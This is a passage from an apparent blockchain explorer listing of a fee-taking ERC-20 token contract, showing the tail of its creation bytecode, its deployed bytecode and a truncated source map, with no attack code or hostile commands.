2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181815b8085111561167b578160001904821115611661576116616115e2565b8085161561166e57918102915b93841c9390800290611645565b509250929050565b600082611692575060016106cd565b8161169f575060006106cd565b81600181146116b557600281146116bf576116db565b60019150506106cd565b60ff8411156116d0576116d06115e2565b50506001821b6106cd565b5060208310610133831016604e8410600b84101617156116fe575081810a6106cd565b6117088383611640565b806000190482111561171c5761171c6115e2565b029392505050565b6000610adc60ff841683611683565b80820281158282048414176106cd576106cd6115e2565b808201808211156106cd576106cd6115e2565b60008261177a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117a757600080fd5b8151610adc816113d0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118025784516001600160a01b0316835293830193918301916001016117dd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561183857600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212207f92aec79618f918d12da5a90566751f33b7b40ca3b9ea3fe5075a70626cbbcf64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063a842486111610095578063d83d414311610064578063d83d414314610584578063dd62ed3e146105a4578063f2fde38b146105ea578063f887ea401461060a57600080fd5b8063a84248611461050e578063a9059cbb1461052e578063acef1a441461054e578063d08893581461056457600080fd5b80638da5cb5b116100d15780638da5cb5b1461044957806395d89b41146104675780639af1d35a1461047c578063a806d62e146104bf57600080fd5b8063715018a6146103e45780637888ffdf146103f95780637d6027cd1461041957600080fd5b80633c11100d1161016457806366c907c51161013e57806366c907c5146103525780636ddd1713146103745780636fcba3771461038e57806370a08231146103ae57600080fd5b80633c11100d146102d45780634188bf5a14610304578063553193ca1461033c57600080fd5b8063095ea7b3116101a0578063095ea7b31461025d57806318160ddd1461027d57806323b872dd14610292578063313ce567146102b257600080fd5b806301986fad146101d25780630445b6671461021757806306fdde031461023b57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506102026101ed3660046113e8565b60106020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561022357600080fd5b5061022d60185481565b60405190815260200161020e565b34801561024757600080fd5b5061025061062a565b60405161020e9190611405565b34801561026957600080fd5b50610202610278366004611453565b6106bc565b34801561028957600080fd5b5060065461022d565b34801561029e57600080fd5b506102026102ad36600461147f565b6106d3565b3480156102be57600080fd5b5060055460405160ff909116815260200161020e565b3480156102e057600080fd5b506102026102ef3660046113e8565b60146020526000908152604090205460ff1681565b34801561031057600080fd5b50601354610324906001600160a01b031681565b6040516001600160a01b03909116815260200161020e565b34801561034857600080fd5b5061022d60165481565b34801561035e57600080fd5b5061037261036d3660046114c0565b61076a565b005b34801561038057600080fd5b506017546102029060ff1681565b34801561039a57600080fd5b506103726103a93660046114c0565b6107f4565b3480156103ba57600080fd5b5061022d6103c93660046113e8565b6001600160a01b031660009081526001602052604090205490565b3480156103f057600080fd5b50610372610852565b34801561040557600080fd5b50610372610414366004611507565b6108c6565b34801561042557600080fd5b506102026104343660046113e8565b60116020526000908152604090205460ff1681565b34801561045557600080fd5b506000546001600160a01b0316610324565b34801561047357600080fd5b5061025061091b565b34801561048857600080fd5b50600754600854600954600a5461049f9392919084565b60408051948552602085019390935291830152606082015260800161020e565b3480156104cb57600080fd5b50600b54600c54600d54600e54600f546104e6949392919085565b604080519586526020860194909452928401919091526060830152608082015260a00161020e565b34801561051a57600080fd5b50610372610529366004611507565b61092a565b34801561053a57600080fd5b50610202610549366004611453565b61097f565b34801561055a57600080fd5b5061022d60195481565b34801561057057600080fd5b5061037261057f36600461153c565b61098c565b34801561059057600080fd5b5061037261059f366004611507565b6109d0565b3480156105b057600080fd5b5061022d6105bf36600461156f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105f657600080fd5b506103726106053660046113e8565b610a25565b34801561061657600080fd5b50601254610324906001600160a01b031681565b606060038054610639906115a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610665906115a8565b80156106b25780601f10610687576101008083540402835291602001916106b2565b820191906000526020600020905b81548152906001019060200180831161069557829003601f168201915b5050505050905090565b60006106c9338484610ae3565b5060015b92915050565b60006106e0848484610b45565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610760576001600160a01b038416600090815260026020908152604080832033845290915290205461073b9083906115f8565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461079d5760405162461bcd60e51b81526004016107949061160b565b60405180910390fd5b60006107b5836107af8481888a610d91565b90610d91565b6040805160a0810182528781526020810187905290810185905260608101849052608001819052600b9590955550600c92909255600d55600e55600f55565b6000546001600160a01b0316331461081e5760405162461bcd60e51b81526004016107949061160b565b6040805160808101825285815260208101859052908101839052606001819052600793909355600891909155600955600a55565b6000546001600160a01b0316331461087c5760405162461bcd60e51b81526004016107949061160b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f05760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b606060048054610639906115a8565b6000546001600160a01b031633146109545760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b60006106c9338484610b45565b6000546001600160a01b031633146109b65760405162461bcd60e51b81526004016107949061160b565b6017805460ff191693151593909317909255601855601955565b6000546001600160a01b031633146109fa5760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a4f5760405162461bcd60e51b81526004016107949061160b565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000610adc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610df0565b9392505050565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526011602052604090205460ff161580610b8557506001600160a01b03821660009081526010602052604090205460ff165b610bbd5760405162461bcd60e51b815260206004820152600960248201526821b437b9b2b729b7b760b91b6044820152606401610794565b6001600160a01b03831660009081526014602052604081205460ff1680610bfc57506001600160a01b03831660009081526014602052604090205460ff165b15610cf8576001600160a01b03841660009081526010602052604090205460ff16158015610c4357506001600160a01b03831660009081526010602052604090205460ff16155b15610cf8576001600160a01b03831660009081526014602052604090205460ff1615610cf457601654600010610ca95760405162461bcd60e51b815260206004820152600b60248201526a02173746172744164644c560ac1b6044820152606401610794565b601a5460ff16610cf4573060009081526001602052604090205460175460ff168015610cd55750600081115b15610cf257601954811115610ce957506019545b610cf281610e27565b505b5060015b6001600160a01b03841660009081526010602052604090205460ff168015610d3857506001600160a01b03831660009081526010602052604090205460ff165b15610d8557600554610d4e9060ff16600a611724565b610d5a906123c6611733565b8214610d6c5760006016819055610d73565b4360168190555b50610d7f848484611178565b50505050565b610d7f848484846111f0565b600080610d9e838561174a565b905083811015610adc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610794565b60008183610e115760405162461bcd60e51b81526004016107949190611405565b506000610e1e848661175d565b95945050505050565b601a805460ff19166001179055600f54600d54600091610e5291610e4c9085906112e0565b90610a9a565b90506000610e7c6002610e4c600b60040154610e4c600b60010154886112e090919063ffffffff16565b90506000610e9483610e8e8685611362565b90611362565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610ece57610ece61177f565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4b9190611795565b81600181518110610f5e57610f5e61177f565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac94790610fa49085906000908690309042906004016117b2565b600060405180830381600087803b158015610fbe57600080fd5b505af1158015610fd2573d6000803e3d6000fd5b5050600d54600c5447935060009250610ffe9190610e8e90610ff5906002610a9a565b600f5490611362565b905060006110236002610e4c84610e4c600b60010154886112e090919063ffffffff16565b9050600061104383610e4c600b60030154876112e090919063ffffffff16565b9050600061105582610e8e8786611362565b9050600081156110bc576015546040516001600160a01b03909116906175309084906000818181858888f193505050503d80600081146110b1576040519150601f19603f3d011682016040523d82523d6000602084013e6110b6565b606091505b50909150505b88156111615783156111615760125460155460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015611138573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d9190611823565b5050505b5050601a805460ff19169055505050505050505050565b6001600160a01b03821660009081526001602052604090205461119c90829061174a565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b389085815260200190565b6001600160a01b0384166000908152600160205260409020546112149083906115f8565b6001600160a01b03851660009081526001602052604081209190915581156112c5576001600160a01b03851660009081526014602052604081205460ff1615611260575060075461128f565b6001600160a01b03851660009081526014602052604090205460ff161561128a575060085461128f565b506009545b600a546000906112a390610e4c87856112e0565b905080156112c2576112b5818461174a565b92506112c2873083611178565b50505b6112d985856112d484876115f8565b611178565b5050505050565b6000826000036112f2575060006106cd565b60006112fe8385611733565b90508261130b858361175d565b14610adc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610794565b6000610adc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156113c35760405162461bcd60e51b81526004016107949190611405565b506000610e1e84866115f8565b6001600160a01b03811681146113e557600080fd5b50565b6000602082840312156113fa57600080fd5b8135610adc816113d0565b600060208083528351808285015260005b8181101561143257858101830151858201604001528201611416565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561146657600080fd5b8235611471816113d0565b946020939093013593505050565b60008060006060848603121561149457600080fd5b833561149f816113d0565b925060208401356114af816113d0565b929592945050506040919091013590565b600080600080608085870312156114d657600080fd5b5050823594602084013594506040840135936060013592509050565b8035801515811461150257600080fd5b919050565b6000806040838503121561151a57600080fd5b8235611525816113d0565b9150611533602084016114f2565b90509250929050565b60008060006060848603121561155157600080fd5b61155a846114f2565b95602085013595506040909401359392505050565b6000806040838503121561158257600080fd5b823561158d816113d0565b9150602083013561159d816113d0565b809150509250929050565b600181811c908216806115bc57607f821691505b6020821081036115dc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106cd576106cd6115e2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181815b8085111561167b578160001904821115611661576116616115e2565b8085161561166e57918102915b93841c9390800290611645565b509250929050565b600082611692575060016106cd565b8161169f575060006106cd565b81600181146116b557600281146116bf576116db565b60019150506106cd565b60ff8411156116d0576116d06115e2565b50506001821b6106cd565b5060208310610133831016604e8410600b84101617156116fe575081810a6106cd565b6117088383611640565b806000190482111561171c5761171c6115e2565b029392505050565b6000610adc60ff841683611683565b80820281158282048414176106cd576106cd6115e2565b808201808211156106cd576106cd6115e2565b60008261177a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117a757600080fd5b8151610adc816113d0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118025784516001600160a01b0316835293830193918301916001016117dd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561183857600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212207f92aec79618f918d12da5a90566751f33b7b40ca3b9ea3fe5075a70626cbbcf64736f6c63430008110033

Deployed Bytecode Sourcemap

13466:198:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4990:45;;;;;;;;;;-1:-1:-1;4990:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;4990:45:0;;;;;;;;5322:28;;;;;;;;;;;;;;;;;;;740:25:1;;;728:2;713:18;5322:28:0;594:177:1;6752:78:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7392:133::-;;;;;;;;;;-1:-1:-1;7392:133:0;;;;;:::i;:::-;;:::i;6920:79::-;;;;;;;;;;-1:-1:-1;6990:7:0;;6920:79;;7566:336;;;;;;;;;;-1:-1:-1;7566:336:0;;;;;:::i;:::-;;:::i;6836:78::-;;;;;;;;;;-1:-1:-1;6903:9:0;;6836:78;;6903:9;;;;2252:36:1;;2240:2;2225:18;6836:78:0;2110:184:1;5163:45:0;;;;;;;;;;-1:-1:-1;5163:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5132:24;;;;;;;;;;-1:-1:-1;5132:24:0;;;;-1:-1:-1;;;;;5132:24:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;5132:24:0;2299:203:1;5246:30:0;;;;;;;;;;;;;;;;12444:234;;;;;;;;;;-1:-1:-1;12444:234:0;;;;;:::i;:::-;;:::i;:::-;;5285:30;;;;;;;;;;-1:-1:-1;5285:30:0;;;;;;;;12687:146;;;;;;;;;;-1:-1:-1;12687:146:0;;;;;:::i;:::-;;:::i;7005:103::-;;;;;;;;;;-1:-1:-1;7005:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7088:18:0;7071:7;7088:18;;;:9;:18;;;;;;;7005:103;4251:148;;;;;;;;;;;;;:::i;13219:112::-;;;;;;;;;;-1:-1:-1;13219:112:0;;;;;:::i;:::-;;:::i;5042:42::-;;;;;;;;;;-1:-1:-1;5042:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4164:79;;;;;;;;;;-1:-1:-1;4202:7:0;4229:6;-1:-1:-1;;;;;4229:6:0;4164:79;;6664:82;;;;;;;;;;;;;:::i;4857:15::-;;;;;;;;;;-1:-1:-1;4857:15:0;;;;;;;;;;;;;;;;;;;3613:25:1;;;3669:2;3654:18;;3647:34;;;;3697:18;;;3690:34;3755:2;3740:18;;3733:34;3600:3;3585:19;4857:15:0;3382:391:1;4963:18:0;;;;;;;;;;-1:-1:-1;4963:18:0;;;;;;;;;;;;;;;;;;;;;;4037:25:1;;;4093:2;4078:18;;4071:34;;;;4121:18;;;4114:34;;;;4179:2;4164:18;;4157:34;4222:3;4207:19;;4200:35;4024:3;4009:19;4963:18:0;3778:463:1;13339:118:0;;;;;;;;;;-1:-1:-1;13339:118:0;;;;;:::i;:::-;;:::i;7114:139::-;;;;;;;;;;-1:-1:-1;7114:139:0;;;;;:::i;:::-;;:::i;5357:31::-;;;;;;;;;;;;;;;;12842:243;;;;;;;;;;-1:-1:-1;12842:243:0;;;;;:::i;:::-;;:::i;13093:118::-;;;;;;;;;;-1:-1:-1;13093:118:0;;;;;:::i;:::-;;:::i;7259:127::-;;;;;;;;;;-1:-1:-1;7259:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7357:18:0;;;7340:7;7357:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7259:127;4004:152;;;;;;;;;;-1:-1:-1;4004:152:0;;;;;:::i;:::-;;:::i;5093:32::-;;;;;;;;;;-1:-1:-1;5093:32:0;;;;-1:-1:-1;;;;;5093:32:0;;;6752:78;6800:13;6823:5;6816:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6752:78;:::o;7392:133::-;7467:4;7474:37;7483:10;7495:7;7504:6;7474:8;:37::i;:::-;-1:-1:-1;7519:4:0;7392:133;;;;;:::o;7566:336::-;7664:4;7681:36;7691:6;7699:9;7710:6;7681:9;:36::i;:::-;-1:-1:-1;;;;;7732:19:0;;4783:1;7732:19;;;:11;:19;;;;;;;;7752:10;7732:31;;;;;;;;-1:-1:-1;;7732:38:0;7728:145;;-1:-1:-1;;;;;7821:19:0;;;;;;:11;:19;;;;;;;;7841:10;7821:31;;;;;;;;:40;;7855:6;;7821:40;:::i;:::-;-1:-1:-1;;;;;7787:19:0;;;;;;:11;:19;;;;;;;;7807:10;7787:31;;;;;;;:74;7728:145;-1:-1:-1;7890:4:0;7566:336;;;;;:::o;12444:234::-;3919:6;;-1:-1:-1;;;;;3919:6:0;3929:10;3919:20;3911:65;;;;-1:-1:-1;;;3911:65:0;;;;;;;:::i;:::-;;;;;;;;;12547:10:::1;12559:47;12601:4:::0;12559:37:::1;12588:7:::0;12559:37;:9;12573;12559:13:::1;:24::i;:::-;:28:::0;::::1;:37::i;:47::-;12625:45;::::0;;::::1;::::0;::::1;::::0;;;;;::::1;::::0;::::1;::::0;;;;;;;;;;;;;;;;;;;;12619:5:::1;:51:::0;;;;-1:-1:-1;12619:51:0;;;;;;;;;;;12444:234::o;12687:146::-;3919:6;;-1:-1:-1;;;;;3919:6:0;3929:10;3919:20;3911:65;;;;-1:-1:-1;;;3911:65:0;;;;;;;:::i;:::-;12791:34:::1;::::0;;::::1;::::0;::::1;::::0;;;;;::::1;::::0;::::1;::::0;;;;;;;;;;;;;;12786:4:::1;:39:::0;;;;;;;;;;;;;12687:146::o;4251:148::-;3919:6;;-1:-1:-1;;;;;3919:6:0;3929:10;3919:20;3911:65;;;;-1:-1:-1;;;3911:65:0;;;;;;;:::i;:::-;4358:1:::1;4342:6:::0;;4321:40:::1;::::0;-1:-1:-1;;;;;4342:6:0;;::::1;::::0;4321:40:::1;::::0;4358:1;;4321:40:::1;4389:1;4372:19:::0;;-1:-1:-1;;;;;;4372:19:0::1;::::0;;4251:148::o;13219:112::-;3919:6;;-1:-1:-1;;;;;3919:6:0;3929:10;3919:20;3911:65;;;;-1:-1:-1;;;3911:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13298:16:0;;;::::1;;::::0;;;:10:::1;:16;::::0;;;;:25;;-1:-1:-1;;13298:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13219:112::o;6664:82::-;6714:13;6737:7;6730:14;;;;;:::i;13339:118::-;3919:6;;-1:-1:-1;;;;;3919:6:0;3929:10;3919:20;3911:65;;;;-1:-1:-1;;;3911:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13421:19:0;;;::::1;;::::0;;;:13:::1;:19;::::0;;;;:28;;-1:-1:-1;;13421:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13339:118::o;7114:139::-;7192:4;7199:40;7209:10;7221:9;7232:6;7199:9;:40::i;12842:243::-;3919:6;;-1:-1:-1;;;;;3919:6:0;3929:10;3919:20;3911:65;;;;-1:-1:-1;;;3911:65:0;;;;;;;:::i;:::-;12967:11:::1;:22:::0;;-1:-1:-1;;12967:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;13000:13:::1;:30:::0;13041:16:::1;:36:::0;12842:243::o;13093:118::-;3919:6;;-1:-1:-1;;;;;3919:6:0;3929:10;3919:20;3911:65;;;;-1:-1:-1;;;3911:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13175:19:0;;;::::1;;::::0;;;:13:::1;:19;::::0;;;;:28;;-1:-1:-1;;13175:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13093:118::o;4004:152::-;3919:6;;-1:-1:-1;;;;;3919:6:0;3929:10;3919:20;3911:65;;;;-1:-1:-1;;;3911:65:0;;;;;;;:::i;:::-;4088:6:::1;:12:::0;;-1:-1:-1;;;;;;4088:12:0::1;-1:-1:-1::0;;;;;4088:12:0;::::1;::::0;;::::1;::::0;;4116:32:::1;::::0;4088:12;;;;4116:32:::1;::::0;4088:6;4116:32:::1;4004:152:::0;:::o;1837:132::-;1895:7;1922:39;1926:1;1929;1922:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1915:46;1837:132;-1:-1:-1;;;1837:132:0:o;7910:177::-;-1:-1:-1;;;;;7995:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8047:32;;740:25:1;;;8047:32:0;;713:18:1;8047:32:0;;;;;;;;7910:177;;;:::o;8095:1208::-;-1:-1:-1;;;;;8218:16:0;;;;;;:10;:16;;;;;;;;8217:17;;:39;;-1:-1:-1;;;;;;8239:17:0;;;;;;:13;:17;;;;;;;;8217:39;8209:61;;;;-1:-1:-1;;;8209:61:0;;6667:2:1;8209:61:0;;;6649:21:1;6706:1;6686:18;;;6679:29;-1:-1:-1;;;6724:18:1;;;6717:39;6773:18;;8209:61:0;6465:332:1;8209:61:0;-1:-1:-1;;;;;8308:19:0;;8281:12;8308:19;;;:13;:19;;;;;;;;;:40;;-1:-1:-1;;;;;;8331:17:0;;;;;;:13;:17;;;;;;;;8308:40;8304:718;;;-1:-1:-1;;;;;8370:19:0;;;;;;:13;:19;;;;;;;;8369:20;:42;;;;-1:-1:-1;;;;;;8394:17:0;;;;;;:13;:17;;;;;;;;8393:18;8369:42;8365:646;;;-1:-1:-1;;;;;8436:17:0;;;;;;:13;:17;;;;;;;;8432:531;;;8490:15;;8486:1;:19;8478:43;;;;-1:-1:-1;;;8478:43:0;;7004:2:1;8478:43:0;;;6986:21:1;7043:2;7023:18;;;7016:30;-1:-1:-1;;;7062:18:1;;;7055:41;7113:18;;8478:43:0;6802:335:1;8478:43:0;8549:6;;;;8544:400;;8633:4;8584:28;7088:18;;;:9;:18;;;;;;8670:11;;;;:39;;;;;8708:1;8685:20;:24;8670:39;8666:255;;;8768:16;;8745:20;:39;8742:82;;;-1:-1:-1;8808:16:0;;8742:82;8855:38;8872:20;8855:16;:38::i;:::-;8557:387;8544:400;-1:-1:-1;8991:4:0;8365:646;-1:-1:-1;;;;;9035:19:0;;;;;;:13;:19;;;;;;;;:40;;;;-1:-1:-1;;;;;;9058:17:0;;;;;;:13;:17;;;;;;;;9035:40;9032:212;;;9108:9;;9104:13;;9108:9;;9104:2;:13;:::i;:::-;9099:18;;:4;:18;:::i;:::-;9091:6;:26;:73;;9163:1;9147:15;:17;;;9091:73;;;9134:12;9118:15;:28;;;9091:73;;9179:31;9193:4;9199:2;9203:6;9179:13;:31::i;:::-;9225:7;8095:1208;;;:::o;9032:212::-;9254:41;9269:4;9275:2;9279:6;9287:7;9254:14;:41::i;1054:181::-;1112:7;;1144:5;1148:1;1144;:5;:::i;:::-;1132:17;;1173:1;1168;:6;;1160:46;;;;-1:-1:-1;;;1160:46:0;;9030:2:1;1160:46:0;;;9012:21:1;9069:2;9049:18;;;9042:30;9108:29;9088:18;;;9081:57;9155:18;;1160:46:0;8828:351:1;1975:189:0;2061:7;2096:12;2089:5;2081:28;;;;-1:-1:-1;;;2081:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2120:9:0;2132:5;2136:1;2132;:5;:::i;:::-;2120:17;1975:189;-1:-1:-1;;;;;1975:189:0:o;10664:1551::-;5455:6;:13;;-1:-1:-1;;5455:13:0;5464:4;5455:13;;;10794:11;;10778:10;;5455:6;;10762:44:::1;::::0;:27:::1;::::0;:11;;:15:::1;:27::i;:::-;:31:::0;::::1;:44::i;:::-;10742:64;;10817:20;10840:56;10894:1;10840:49;10877:5;:11;;;10840:32;10856:5;:15;;;10840:11;:15;;:32;;;;:::i;:56::-;10817:79:::0;-1:-1:-1;10907:17:0::1;10927:50;10964:12:::0;10927:32:::1;:11:::0;10817:79;10927:15:::1;:32::i;:::-;:36:::0;::::1;:50::i;:::-;11012:16;::::0;;11026:1:::1;11012:16:::0;;;;;::::1;::::0;;10907:70;;-1:-1:-1;10988:21:0::1;::::0;11012:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11012:16:0::1;10988:40;;11057:4;11039;11044:1;11039:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11039:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11083:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;11083:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;11039:7;;11083:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11073:4;11078:1;11073:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11073:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;11107:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;11107:188:0;;:6;::::1;::::0;:57:::1;::::0;:188:::1;::::0;11179:12;;11107:6:::1;::::0;11222:4;;11249::::1;::::0;11269:15:::1;::::0;11107:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;11419:10:0;;11391:15;;11324:21:::1;::::0;-1:-1:-1;11308:14:0::1;::::0;-1:-1:-1;11375:55:0::1;::::0;11419:10;11375:39:::1;::::0;11391:22:::1;::::0;11419:10:::1;11391:19;:22::i;:::-;11375:11:::0;;;:15:::1;:39::i;:55::-;11356:74;;11441:23;11467:54;11519:1;11467:47;11502:11;11467:30;11481:5;:15;;;11467:9;:13;;:30;;;;:::i;:54::-;11441:80;;11532:20;11555:44;11587:11;11555:27;11569:5;:12;;;11555:9;:13;;:27;;;;:::i;:44::-;11532:67:::0;-1:-1:-1;11610:15:0::1;11628:54;11532:67:::0;11628:33:::1;:9:::0;11642:18;11628:13:::1;:33::i;:54::-;11610:72:::0;-1:-1:-1;11693:15:0::1;11722:12:::0;;11719:124:::1;;11774:16;::::0;11766:65:::1;::::0;-1:-1:-1;;;;;11774:16:0;;::::1;::::0;11821:5:::1;::::0;11804:10;;11766:65:::1;::::0;;;11804:10;11774:16;11821:5;11766:65:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;11750:81:0;;-1:-1:-1;;11719:124:0::1;11859:19:::0;;11855:353:::1;;11899:22:::0;;11895:302:::1;;11942:6;::::0;12116:16:::1;::::0;11942:239:::1;::::0;-1:-1:-1;;;11942:239:0;;12018:4:::1;11942:239;::::0;::::1;11462:34:1::0;11512:18;;;11505:34;;;11942:6:0::1;11555:18:1::0;;;11548:34;;;11598:18;;;11591:34;-1:-1:-1;;;;;12116:16:0;;::::1;11641:19:1::0;;;11634:44;12151:15:0::1;11694:19:1::0;;;11687:35;11942:6:0;::::1;::::0;:22:::1;::::0;11972:18;;11396:19:1;;11942:239:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11895:302;-1:-1:-1::0;;5491:6:0;:14;;-1:-1:-1;;5491:14:0;;;-1:-1:-1;;;;;;;;;10664:1551:0:o;12223:213::-;-1:-1:-1;;;;;12360:13:0;;;;;;:9;:13;;;;;;:23;;12376:7;;12360:23;:::i;:::-;-1:-1:-1;;;;;12344:13:0;;;;;;;:9;:13;;;;;;;:39;;;;12399:29;;;;;;;;;;12420:7;740:25:1;;728:2;713:18;;594:177;9722:933:0;-1:-1:-1;;;;;9894:17:0;;;;;;:9;:17;;;;;;:27;;9914:7;;9894:27;:::i;:::-;-1:-1:-1;;;;;9874:17:0;;;;;;:9;:17;;;;;:47;;;;9970:612;;;;-1:-1:-1;;;;;10032:21:0;;9998:15;10032:21;;;:13;:21;;;;;;;;10028:231;;;-1:-1:-1;10084:4:0;:8;10028:231;;;-1:-1:-1;;;;;10117:24:0;;;;;;:13;:24;;;;;;;;10114:145;;;-1:-1:-1;10172:9:0;;10114:145;;;-1:-1:-1;10230:13:0;;10114:145;10319:9;;10273:18;;10294:35;;:20;:7;10306;10294:11;:20::i;:35::-;10273:56;-1:-1:-1;10348:14:0;;10344:227;;10383:23;10396:10;10383:23;;:::i;:::-;;;10425:130;10461:6;10498:4;10526:10;10425:13;:130::i;:::-;9983:599;;9970:612;10594:53;10608:6;10616:9;10627:19;10637:9;10627:7;:19;:::i;:::-;10594:13;:53::i;:::-;9863:792;9722:933;;;;:::o;1581:250::-;1639:7;1663:1;1668;1663:6;1659:47;;-1:-1:-1;1693:1:0;1686:8;;1659:47;1718:9;1730:5;1734:1;1730;:5;:::i;:::-;1718:17;-1:-1:-1;1763:1:0;1754:5;1758:1;1718:17;1754:5;:::i;:::-;:10;1746:56;;;;-1:-1:-1;;;1746:56:0;;12246:2:1;1746:56:0;;;12228:21:1;12285:2;12265:18;;;12258:30;12324:34;12304:18;;;12297:62;-1:-1:-1;;;12375:18:1;;;12368:31;12416:19;;1746:56:0;12044:397:1;1241:136:0;1299:7;1326:43;1330:1;1333;1326:43;;;;;;;;;;;;;;;;;1469:7;1505:12;1497:6;;;;1489:29;;;;-1:-1:-1;;;1489:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1529:9:0;1541:5;1545:1;1541;:5;:::i;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1